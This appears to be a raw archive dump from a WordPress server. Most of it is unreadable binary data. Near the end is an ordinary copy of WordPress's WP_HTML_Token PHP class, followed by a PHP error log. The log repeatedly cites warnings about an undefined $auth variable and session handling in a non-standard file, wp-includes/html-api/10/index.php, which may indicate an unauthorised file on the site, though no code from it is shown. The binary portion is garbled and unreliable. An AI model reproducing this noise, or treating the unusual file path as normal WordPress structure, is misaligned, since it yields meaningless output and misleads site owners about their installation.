~����t+u�E��j�~i���/��gy��%;eU�Ά.��yO�;Ֆ�}��9:���U��ޅB6{��09���.,c6���J��&\z4B��(��Eba�;���*�����B��Tz�GW�5&C�o�U��S�֕�~綣�dKm��49�Td�"�r�zk�d6�	F��f9���_Dp>y#~ac3[��-��P[{A���^��e%6d?�����g�7����=�eK��E��Hθ'.jtܿ	�Ovx�V�wcg׼��f��(xGCC-u[�n��89;����KRy���֬7z����jQA�Y��h����Д7�J�c��o�/5V�rE���|���ʛ%t7�$;�%��+f��P��l2�tST�	�Gp�7[����Y�S�7ג�g���M���tJ��O�d��\��zX�&�~ȕ��}�I�:	/8�� ���b�w���+�Y!V�+Jbİ:-�)�E
�I7�G����j˚ʗ�Fl��Oze��>����mG����)�S�.�Nٔ`9%���rQc�Xq�`3w��#�%eX676�_`"����(�a�0��bM6�iF��7����K�Y/���h�������ҋ��.�D����Z��IQ��Ǚs���dL��i{�ur��U���8���CL��TS	P��1q*Ǎ
�5�&�k('�TC�h��w�^Y�	)�f0v%�j_@��(J�#�%��T[�����2Ln�fNO��Z|NT�R��v��$�f e�\���c��L�v��5Fx���̐��3+;��fpK�H��_L���[R�Ww�-,@"�_dm	J7�˺���e�h�_n,2��?��ls�uPi�Ca*���.���A�YO���e�")�Oz�<=8>|�4
rQ� .y|�M�˂�l30x��������]1Y3�`����~N�K.JH	!ˢ�ru��ʒz��u����\��D��'Q}�[�#�ڀp����U��MG��0�1�2v,wa-���+=�}K�a�"��$�m_���o?��Y�Y��tm$1&�H�x?�A���#���_���\�[�2�ĵ]�3��Z�Q�a�LU�Ȱ��ڤ��eX��8g���d�~��`���v�)	6��C�,1l#��5���dh����i����p�Sr�(�9���sk� �b��#��k�[A�c����m� ����kt�.�?�&�Lڄ¥�������s?�c��Uc���zM	�J�r�dȝfßȡq�p|�Q�RF��]��3߻|c!k�m�pg������i����q��ƭ�O��kk���9]�'Tx6R6�OLg�����).�?˼�)c�,,͔�9INBb�k�"
Fc��KVm'�p�6�)Ll�1#1�'l�byO�۱Mot�1~.�����6��Q�f���P)''2Fv������?G�v�x���a)�Å7��0�c�w
��\Wb���M��7�f��ԉ�M2E�f�8�{��De�?>
��0|��w�{�l�������Y&�i[ޭ	u�����F����+M��t��<��A��㽓)��묍xjO��
��~m;�?��{�W�*��c>���*���?�f�� ��G���8>=��T�(N�RO#܇���$17����N��\�5?�܈����U]���v(���I�t&��ף�񴜉��a�1��\q[�X�td�7����*cM���{eFn&��*'� ł�*������0���z����n�C������B<����-.x��A������)�?5���f8��6����DG�'u�A�0��9`p�p֬�>���vE�����a��
�.�9SBEׅS��_Ɩ� dM�H��iI��NDT��W^������M<������]ܟ�J�#�(�����<V�uRW� �Tg���p$E�ch����r0�kEs�]s�I�U�T˅J�J{��T흔��F�M��
�Nj�tX�Z[�3n��Bgb�8`8���ey�d{�c�Wj�;˫�û��b��u���`�7��Ӌ�R�n�27F��īF��-4��"5�T���e�\�JY��y(��r�‚C��:0hA���pH��7#�h�"��L���]*\Ē�PrL��:`ξ�sx���}��CQa��m�w���z(J�԰�ă%n�(<�l4n��?j��OXs�[����ƌ��1Y5'Ӥ�0'lz��jK��7�����Q/Q�m�(׀�L�`\Ռ�8f�=�����]�[�A�"`�,�52�����(�QJ���*O˒�]'��3f�����-�q�v;OI8C�H;c��*��yN����{d�6���E�Uye9�0��ɧH�ZcS�Im!
^�BV�����4��j6�[���8�=Z�f�	,����FB.�mP"@�·��(4�c�1�0xh��9j��y��}Tb7\��,Gf��d9)Mr��&�S��5�
%Iԅ�",���I&���+R�J��:S+Lz}�IQ�92�R"��42�Yǐ��L*!:t���-k���Z�#�jcVL��b�4���	���+ƹl����f�K�<5�ץLj��7(���-��]a�����P�ݼ��'�7QCg3���ݗ� �=[����p��#N+��a�zE��#Sƛ��� i�nG�$���\�����P���?�n�+���s���k�Ho�ϫ���t��A6�r�K�|���ȺE!�:`[?���;2�rj������H�� ���
���eu5f~z��'Ⲫ;�hy�N�����Rakn/^��Z��&C=���AܺlSe����Z�8˦��@[������<�w�%,��F:���.��Ջ�<2�s��#�V]o@���+,ܹ��c�\���}T�-Œ��/=���n�p�ü�7�2��W�-�ե�垫���,7�^
���C��J~�c�h��zS��{|��:�T�F�I�����X���ZWW�F��YlW>�9���&.*���#��6��b
R5�s��+S��`.sk�-{�d�{����z�����	Pզ6U��H���;\8�Z����ȹ�΀E�4݋�a�	,��hw{����[mө��`��dp�b�	o��~�@�Mw��0�)���kB���M:��ٽ̸���g��7�z�W+�*+ 33�qq��ll��DCkQ�&���!f���l����b���%�{&�sxw@C;1XD�{`Q�f��J��U�M.�g��{rp��g��^G�^���'�)�����6Ig�3�/��Nmv/�k~���G�Q+��y9TQ"�
9x5�3Ns�\�LP!�W���]Jx�����wrp�]�����7�T|BŢ�y��ztE�����9-��|7<�;�,ʜ$��2�+�����s
���b8Fnʱi��+�E+�������E�/C	��Y����vH���E+U����Z�����ϏuDv�G�+�Ck��܉�Gd>�j�֖k~�$X	������U�`%������o�TUV�.�V�-�3w�b/	�@�+E:'.VDRЛ�m�[dO�1�1�`1���]�F�p�ӆ�[��Wf /�P�����Z��ل�Ԁwl�GΆ"��]��{㵋E�)�Kg<��&�e�Űz���6�{�e:�-�(��y�&��I��;�Ʈ"�Ă��LtG-��
̋��D�L����#"�����\�����x��ԓu��>����%�e�'.�kf����\98A���S�-�k�{�q{�d��<_0�>����.��PpAKf�ֺKV5��I>LƯ���|�%y����{+���C�;��P��$N\��<��Q�>�C�i5��k(3^-�c�μ��x����P�L(�m��U�v�q��N�I�n��$��e�K�m
�w'��U��=�
x(�	�0��
D�������24w���7�L��V
u@S!�&�rC�b�|��UB�oxWgU�ƒ�N� �p��{��;��i�r�ϝi�J�(�{zpr�M��N��=㟴3頦}��O�(�>�'�n?)��p~�I�U!F�M��������Y�c���d�cR �����OL2��Y��`��@���a���w����/�����I��5�Fj�أ	7��ݵ�U`�'�/l5S.'^�-��y��P�k�v��M�%��G4����!״���h�x_؀'8u��M�M ^� �t)�Ő�PE�!���Э�z��`Pp`�_������L��?�7pd�l�N���!���AJKd]�x�(���^�=���1}�,;���y]�p��ɱ�%��:'H�`�R�I�Q���|kkH��x�:VU�a.�іasbr�M(;�UB�1�fH����
gd��1�����3�|{�2�������1����b������S��:4����R�bY�:ڶ�_m4���'2�ҽ����pB�qR����d%��-��d�m��z��,�?R�aN��9�t��*dZ���� �˯0��'�Kg�8=''A��5�D�
�j�*{p��r��0_Ugm7+�b^4V�K��6y���뮗v�+��?��+@<	�[��m�e�kF<{^(�a�4�����+��e?�tb���>q�Hm�]��..�ԫ�o���e2��O��R�_8�Ii]��A�/��A��s��C<�y��`��ĎX�P��l�$H{է��t�A*��K�b���gp\r{as'�x����Xf���Y�6̼˅7�����Ļ��l�p��0
I�����R���ժ2=�x�<NU���ZC����_~�;���
��F{�qmE%?�dVф7Ў)s�#��T�cY�p�ل�4��b��!?�-���f`:ĸ�s���W6�+r�U)���I@��p���]&�u���UWz�c���W�l�/t�U�íZ�~�V�0V�p��ő��従�Wu�/���Wx饽�sh�Q��E��Y�އ�2�D�`���A��Ĺ	@#}���`��~�˄	/�4%�mMƐJ]t'��k�!G�q	��'o��,�q���&�ʢ`��熉�<x����}�%Ɗv�T,1W������IVS����wB*��m�dn�/�G.�Q˽9�EI`\��c�i_��~��[Y����LKܪ'�*�-�7��W'��=�c�S#�)[���×�0j��e�n� ���z+N��a�X�'@��[��U��ӸA+�w�qq�x2�d>w�,�"�Α�mqwᫍ���΀���@jv�g3̕��BW�m�v�=Z�409�t��8��U�����t�P���\����ŧKa�y�Ѿo�������~���ElB*�-F�G������Lu�r�D�0���{�s0�^ �μˬ�7rHM��_y��\Qg)Q�PA$�I��g�b>)�8��,�H�v�����YY�!H3=39���;)'�,�g�%l�A��V�u�N�.�I!)�U�*00����[�'�\�<��
B���<�E�*y��tw��B�����70��,�2����.��j��I빷�%t>4򘄸o0�?Be�����&9����dގG���zz�)�e
��[z.N����伩�>�
�I�d�����&)��K�,���w�]��8CHkh��_��Q^�f54=5�փQ:��WZ��#|�}}��1V?>O��Ǖoi`�<}SoA;�_�ڍ�@<&%�)�m"��ON��P�4'
m�U���u6z�4O�߇g�v��`�"c�T��>�X?��/���8��������e�6Ʒ4x�e�M��x�]��~Wiu>ʲ$<���o�Ɓo��^�۳�߄�
�4~�m��$���o/b�pO�F�@�o��7�����E��q��q���}B�C�b.����j�,�^�5��4��*�8����?�|M��
0G�A�C�k�5_����Ӭi�x�LG��;ŧ�/g��l��	���;����]��;k��3~�#�׉=?�R�Q���/�x��`�m���k��QSK~n��W�F�s�F��$�/]��f�I��T�_�5N"(��H�ۦ3Ɂ����R&J��H���g!�Zqj�Q��YV_�S)�=���ʙ�gmϻg��K��>��j"�&^q۲�KR�q�v,�K���:7˕�vF�'�|���q��0�!&WB��*o�/Q�����
oGc�S|�C��u���|d^��M��<�c�Ց���x4h>R#hʪ�`׋&~�9���	c�!�U[���k�/���y}���2Ƀ��W����+�n��v__�/�|��df��]�)�78+Q�-q������y�ͮ��E�{`��xx��������������'�4GF�5�K�8ȻJ��)R)���:�i6���^{J�_&!^��6�3;�&x�*p��*��_}O�*m�W��a���C~�x��,�d6�e��~b�晼�Z ���	A<ǘ�y��O��%4^Ry�pG��Ccҍ����{����p�~�C����������,�:ߵ6�r�^�ۡ�PR�����1}R����$���6����k�P���m���W�$.�C���ҫ@�a]���U�S]���D!аzC��~��������{��
rM�U߇���E��I@(�����]���	��[��?,�ҫ��[��a�:�C�9x�o�UZ!s�BgmS��)�����s��j�Bޝ�;��51���Y@��o�[_�C�"{�դ;|�{~Ui�	�jׄ�!�m����}Aq)���MW�N����6|�M���-����x-ޠ+�3����U�o�}ﵾ^�zn럲lO�Ӹo�fo2<�'m_�vM��������^mQ���^F���+n����N^څ�_nDo-��i����7��	�(�m
7�W�6aK��$�7������QD�k_�i�>����Āֿۢ9����k�b�슢��P���,�<��A%BW|6ȗ�u�bo(�/�
I�3�qnM��&AP��uLj$�G��#W�0��Qv�L�r�� �_j{�
�-V
��+�Qm%�
3=S��2ĥdg�������+�q��8�R��G��K�h��dr�/|�γlx��@89��h)��(*D�l��7�����1�X�BΞ��Crʟd�n���\6̒�\�MG�xS���C�1g ���O	5J&
jfo�id�k�>�|�����?	?^�%���!�N���fq6�Q:���$LI�SXm����^�T�c�����&_�y�F����T`�3b#��4�I��n�j�����լ!��/LL�]*b�&#�ָ���p(�]�R5��{	���
�d
~�:-�R7���˱���N�m����J��<:&���9�ڡqAΉZK��o�؊kj�����׳8�u^���.���I��ט�L)r�,��u���F��p�Q�*������ݾt�ׯ�B~DxnR䩒R�W{א��fu�HF��O3	��?��k?��b��OŸ���$aܘ�뵿9n���8����7�+��}�2z�)'e�I�3�E�Oc�`O��	
ǽ�J��4�S��Q�̲��%q�d2��憁�ȟ��&y�����S�P��T�tx�)���G�`��f��|i���	&���g�����DLk��F�+L�Vm���[	�"��!���Z�'[�{y�|<��ѡ���=<�����4D~b��,���ʕ���n���uw�\�o�>�r�C�y
͆2�dx���:d��C�o��c3�A2E�c�B	5�H"�Fr�rj��36����΍a�����Ѕ�a5\Ru}&��~�ٓh��P�����k�	 \�.,��^F�lo6��#��8E�i=��Y�DG5��Ν��>7b�nso����u��?duj���p4��.��K3�2����J�d�Dw�d٭�%)Qm���7�5��R�M��(s?��E?*?IM��4	Mu,����.�siؓ~�y�~��WwK
6���B\���M���s����[��r�)#��҄548:>8y�����'�TE�M�<z����z��;�9�+�KZ���W"H=|c5R;�����(�8;�%݊�L]Hǜ���'�+�N��E%�L`f֦H��0@c�
�<j�\�J_k��p�s���8�>���Ԣ�6k(fB�z�� vb��Ƶ������D��q�����c8���N��ȫ9-ڍ���/��>�'yo�g$.���c�4	�a|}46�=�||d�:�g��$�Q���A�M��2�#�_��d"2칓����RF4�{�@"S�Ш;��ΰ@����?�nm�smʶ�î��3b� �))��s��Pt���⪘�*Y��4ץ�Mp�$>lg�(��,L��:�.f��6-%c�-����� ���yD�(,&ΎIewxI�C�c�A�c
�n:�+
Е�v��_i�-7��) ��m��=�CN/+[Gg>������4�$����`d���Ӓ�I[PI���#a�*SS�>֦[n5րכX��ڛ��P���z���y��{��5o����x�s��{7��J��MF�)�������X��
1�R�v���T���2 �{���(6�K���l�Hn!���C���/��[J!�U.��]��]��A%
�aTnZ�p7�$E�-�
&�����h���赭$����ق�j-�8��Ά��tH�r��aeIt�+I�����T�
v�|8f�8���-�'�gpW��gH�B_�H5�HeP)�9�-vƞ8FLyD��� �t�>2OP�7�d��!�%�h�)�D2�h���J�Z�aw	�[�vf�Xt���f�9#C�M�g�*;�SΕ/Đ�!J�Y�h�k�\�	q�]%�@�6�/��V�Y]�c�6�8��k��L)9o}��1QQ, 1!�|�f%]��m0m���k�h��fc��H�E�r�Z�r
�E/�����PX)��mmպ_[й�^�=�E9�S
8����v��f�dd\~��w$�}�f��v��x,�dy�������?����:���a����R�燝�\Ƴf����J��o,1w�,�F��^ve�z�t9��1�,�Y�i�Ó޷O�z���a�D�&���Y.*O��)��d6&,oH�m��%�f����4J�l-��oll+Sa���>�����鎤��!�-܂�n:n�	s�c��+�G�W������N����k�F�Ҩц>
�@�~���w��><�v-�i����3A�L���9�#T�jOĥ(��(F<&^+sW
I�ieS�<��j+3H�FYs[�@�?�ҘB��_F`�ռw��A�LR�+ȉ~ lT�=o�G�Q�	^+�;ܺ�_��T��{c������S���.��L5�n��	�� f5s�<X`��!Cشlv��$jjw����B�K�0..���9���6i]f���&:)yh�p�c�~�q�����f�l�m�.�����$�4�28Î��$j
���b�Y}|���Ӄ���9��B��T�V�b4�f��S���R#Z��I�+<�筻�1������`��)��*{2̣U�d�a�Ԥw,W]��Nb�ZY�pU�@��t=,$I+�G�~�5�����p���u@kђ����i��G��%%^��,p�:V�4�@y����|�.������)
{r���r�������=y�U��9�������[�ݪVH�O0(j6�VPó�I;7��˘IJ*X�T[M��jb�46a��(
u(�E�<..����U�2���$����ά*S�}�H0�N�Vl�����W(;���,�zD�<��6;�c��Jjd\0����g���|���*��9رP�jì��>����@=Y�2���,OL9�F��+�(�"x�zW*_�Zܢ�r|�{�7��1X�NIyƤN�M2�FcN�
�Q���+�?߀�U:QYG�oVS|��sM3�ef���&7���މ�W/iW ��ҍ�$
v
$9��'�o�]}�D���v�)�[<X~!<&6ښ�~l)9��}��k]��d���XL\�$�K4RLč��d¾6)
�"�M����bLĈ�����DL9ΰZA\ �=b4���V�/Re�����1�n�d�2�uT1�K�˃�$�RNJ��䠃�C^Ɠ��:J��Fvy#ݤ��<���SI�:��@a^GaQ��Lw�Yo���=���)o�CA�T�*U�yҪjѝ�T��h��7I=Wo�^B˷X�Tu�����S,��~����ѣ�w��ֲ�qӭ�M>�i��[mf;ڕ<n�@i��=��>:�{r�_>}v�䛃�Ʒ���5�A
�����#l���2��6���*ؿJ���9j����� �e~Űvo��q�=˨_��Ȇ���	K�m��7h��=�!��}��u�&�D�@
�f1��4�� SG|�	
~�p<��t�XŚ���������J�+h�b�,ݔL
�tP�g�Z~B �m��[C,�'�:Ѧ4z��(�gˆ�c��`vw�)��W�i~�	E0c/Ix��	<�NWڷj�a|���b��`Fe-�)�'+H��9�c�E���5��u�P��B{�ݷH0�U7B����cO�p�#ce6�P�B��D�`�KVp�r��	�v�ދT*ڇ��������K}��|H����W�����T�%����R��2�Q���4@���ė̡�VuB
��•-Do�A�ښ��ʂ��'�����&���@
焨r6;HN�"9��yR�y�����&u�~
1bɕ=bH�ntg�n�ԛu"S�W�|ƚR&����z�	�`���DJ��_/���P.G!o�5g;�w̄0U��&��td�C�#��E'\e�
M�]�yX5<@���n���L�hS�ʪ֫u�
8��!�S�_�8L�aNҚ�"�f��P;e�Dvu<���5��w69o��\�e��+x����yժ��g9l�H��O�~���sx�Y��UwCQg��w}0����4YjC�l[�	N~ �㓝���L~�5�8Jy獿ڻ��l���{.Z
$<2�"���Z
����L=��°���?�[��������9�8��$x�I9�}�l�"|����މf����+&$n�rЉ�..u��P�(���6T��Z"�íc�֢*���y�B����9y������zg<IG����Q�#��`p���B����n߂��sj;c�j�4L�v��}�M{o�U��7k�AO��Zx��Z�Rf��4�RG�Y��2�S�{�N=M������Q��z����ʈ���)���h��
�]�Wc�G��Z׊ON��JF+l�
*,k�Xi��1g�"6��*��[Fο�j��h��F�v��w���3y�@h���)&��[�|<�
������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKgN\��J�class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�,�n�n�	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
